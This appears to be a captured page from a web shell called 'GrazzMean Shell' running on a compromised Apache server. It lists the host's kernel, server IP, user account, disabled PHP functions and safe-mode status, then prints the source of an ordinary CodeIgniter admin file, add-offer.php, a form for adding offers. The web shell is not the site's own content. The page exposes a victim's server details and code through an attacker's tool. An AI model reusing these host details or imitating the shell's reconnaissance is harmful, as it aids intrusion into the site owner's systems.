shell bypass 403

GrazzMean Shell

Uname: Linux server.thebazaar99.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
Software: Apache
PHP version: 8.3.32 [ PHP INFO ] PHP os: Linux
Server Ip: 163.227.92.254
Your Ip: 216.73.217.24
User: gutlooks (1003) | Group: gutlooks (1005)
Safe Mode: OFF
Disable Function:
exec,passthru,shell_exec,system

name : add-offer.php
<?php
$b_title = "";
$b_desc = "";
$meta_title = "";
$meta_desc = "";
$meta_keyword = "";
if(isset($offer_res)){
	$btnname = "Update";
	foreach($offer_res as $row){
		$blog_id = $row->id;
		$b_title = $row->title;
		$b_desc = $row->description;
		$meta_title = $row->meta_title;
		$meta_desc = $row->meta_desc;
		$meta_keyword = $row->meta_keyword;
	}

	$method = "admin/offer_update/".base64_encode($blog_id);
}else{
	$method = "admin/offer_process";
	$btnname = "Submit";
}


?> 
			<?php $this->load->view('admin/sidebar');?>
		</div>
		<div class="content-right">
			<?php $this->load->view('admin/header');?>
			<div class="main-content">
				<div class="dash-block">
					<h5 class="border-bottom pb-3">Add Offer</h5>
					<div class="form-element">
						<?=$this->session->flashdata('success_msg')?>
						<form method="post" action="<?=base_url($method)?>" enctype= 'multipart/form-data'>
						<div class="row">
							<div class="col-md-12">
								<div class="form-group row">
								    <label for="inputPassword" class="col-sm-2 col-form-label">  Title </label>
								    <div class="col-sm-10">
								     <input type="text" class="form-control" id="inputPassword" placeholder="Enter Offer Title" name="title" required value="<?=$b_title?>">
								      <span class="text-danger"><?=form_error("title")?></span>
								    </div>
								</div>
							</div>
							<div class="col-md-12">
								<div class="form-group row">
								    <label for="inputPassword" class="col-sm-2 col-form-label"> Description </label>
								    <div class="col-sm-8">
								      <textarea class="form-control ckeditor" id="editor" style="height: 80px !important;" name="desc" required="required"><?=$b_desc?></textarea>
								    </div>
								</div>
							</div>
							<div class="col-md-8 offset-md-2 mt-2">
								<button class="btn btn-submit"><?=$btnname?></button>
							</div>
						</div>
						</form>
					</div>
				</div>
			</div>
			<?php include'footer.php';?>
		</div>
	</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script type="text/javascript" src="<?=base_url('admin_assets/js/bootstrap.min.js')?>"></script>
<script type="text/javascript" src="<?=base_url('admin_assets/js/select2.min.js')?>"></script>
<script type="text/javascript" src="<?=base_url('admin_assets/js/custom.js')?>"></script>
<script src="<?=base_url('admin_assets/js/css3-animate-it.js')?>"></script>
<script src="<?=base_url('admin_assets/ckeditor/ckeditor.js')?>"></script>
<script src="<?=base_url('admin_assets/ckeditor/samples/js/sample.js')?>"></script>
<script type="text/javascript">

$(document).ready(function() {
    $('.js-example-basic-multiple').select2();
});

$(document).ready(function(){
    $('.p_image').change(function(e){
        var fileName = e.target.files[0].name;
        //alert('The file "' + fileName +  '" has been selected.');
        $(".file_name").text(fileName);
    });
});
</script>
</body>
</html>

© 2026 GrazzMean